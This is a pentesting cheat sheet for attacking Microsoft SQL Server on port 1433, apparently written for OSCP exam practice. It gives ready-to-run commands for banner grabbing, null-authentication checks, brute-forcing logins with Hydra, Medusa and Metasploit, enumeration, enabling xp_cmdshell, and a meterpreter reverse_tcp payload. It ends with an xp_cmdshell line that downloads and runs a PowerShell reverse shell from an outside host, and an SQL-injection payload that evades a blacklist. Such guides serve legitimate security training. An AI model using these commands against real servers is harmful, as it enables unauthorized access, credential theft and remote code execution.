MSSQL (Microsoft SQL Server) - Port 1433

Master pentesting MSSQL on port 1433 with VeryLazyTech’s guide—exploits, tips, and more!

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Basic info

MSSQL is designed to store and retrieve data as requested by applications. Its features include:

• Default Port: TCP/1433 for standard communication.

• Authentication Modes:

  • Windows Authentication

  • Mixed Mode (Windows and SQL Server Authentication)

• Common Uses:

  • Data storage for web applications, enterprise systems, and reporting services.

While MSSQL provides robust security features, misconfigurations, weak authentication, and unpatched vulnerabilities can expose it to attacks.

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Banner Grabbing

Banner grabbing helps identify the MSSQL server version, authentication modes, and potential vulnerabilities.

Tools and Commands:

1. Telnet (basic connection test):

   telnet <IP> 1433

2. Nmap:

   nmap -sV -p 1433 --script ms-sql-info <IP>

   Example Output:

   1433/tcp open ms-sql-s Microsoft SQL Server 2019 RTM

3. Metasploit Framework:

   msfconsole
   use auxiliary/scanner/mssql/mssql_ping
   set RHOSTS <IP>
   run

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Authentication Bypass Techniques

Null Authentication

If SQL Server is misconfigured, it may allow unauthenticated access:

1. Testing Null Authentication:

   sqsh -S <IP> -U "" -P ""

MSSQL Brute Force Attacks

Brute force attacks can help identify weak or default credentials.

1. Hydra:

   hydra -L usernames.txt -P passwords.txt mssql://<IP>

2. Medusa:

   medusa -h <IP> -u <username> -P passwords.txt -M mssql

3. Metasploit Auxiliary Module:

   msfconsole
   use auxiliary/scanner/mssql/mssql_login
   set RHOSTS <IP>
   set USER_FILE usernames.txt
   set PASS_FILE passwords.txt
   run

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MSSQL Enumeration

Key Enumeration Techniques:

1. Identify Databases:

   SELECT name FROM sys.databases;

2. List Users:

   SELECT name FROM sys.syslogins;

3. Server Information:

   SELECT @@version;

4. Extract Privileges:

   SELECT * FROM fn_my_permissions(NULL, 'DATABASE');

Automated Enumeration:

• Metasploit:

  use auxiliary/admin/mssql/mssql_enum
  set RHOSTS <IP>
  run

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Exploitation Techniques

Command Execution via xp_cmdshell

xp_cmdshell allows executing OS commands from SQL Server.

1. Enable xp_cmdshell:

   EXEC sp_configure 'show advanced options', 1;
   RECONFIGURE;
   EXEC sp_configure 'xp_cmdshell', 1;
   RECONFIGURE;

2. Execute Commands:

   EXEC xp_cmdshell 'whoami';

Privilege Escalation

Use known vulnerabilities or misconfigurations to escalate privileges:

1. CVE-2020-0618 (SQL Reporting Services RCE): Exploit unpatched SQL Reporting Services.

2. Metasploit Module for Privilege Escalation:

   use exploit/windows/mssql/mssql_payload
   set RHOST <IP>
   set PAYLOAD windows/meterpreter/reverse_tcp
   set LHOST <your_IP>
   run

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Execute OS Commands

Note that in order to be able to execute commands it's not only necessary to have xp_cmdshell enabled, but also have the EXECUTE permission on the xp_cmdshell stored procedure. You can get who (except sysadmins) can use xp_cmdshell with:

Use master
EXEC sp_helprotect 'xp_cmdshell'
# Username + Password + CMD command
crackmapexec mssql -d <Domain name> -u <username> -p <password> -x "whoami"
# Username + Hash + PS command
crackmapexec mssql -d <Domain name> -u <username> -H <HASH> -X '$PSVersionTable'

# Check if xp_cmdshell is enabled
SELECT * FROM sys.configurations WHERE name = 'xp_cmdshell';

# This turns on advanced options and is needed to configure xp_cmdshell
sp_configure 'show advanced options', '1'
RECONFIGURE
#This enables xp_cmdshell
sp_configure 'xp_cmdshell', '1'
RECONFIGURE

#One liner
EXEC sp_configure 'Show Advanced Options', 1; RECONFIGURE; EXEC sp_configure 'xp_cmdshell', 1; RECONFIGURE;

# Quickly check what the service account is via xp_cmdshell
EXEC master..xp_cmdshell 'whoami'
# Get Rev shell
EXEC xp_cmdshell 'echo IEX(New-Object Net.WebClient).DownloadString("http://10.10.14.13:8000/rev.ps1") | powershell -noprofile'

# Bypass blackisted "EXEC xp_cmdshell"
'; DECLARE @x AS VARCHAR(100)='xp_cmdshell'; EXEC @x 'ping k7s3rpqn8ti91kvy0h44pre35ublza.burpcollaborator.net' —

Learn & practice For the OSCP.

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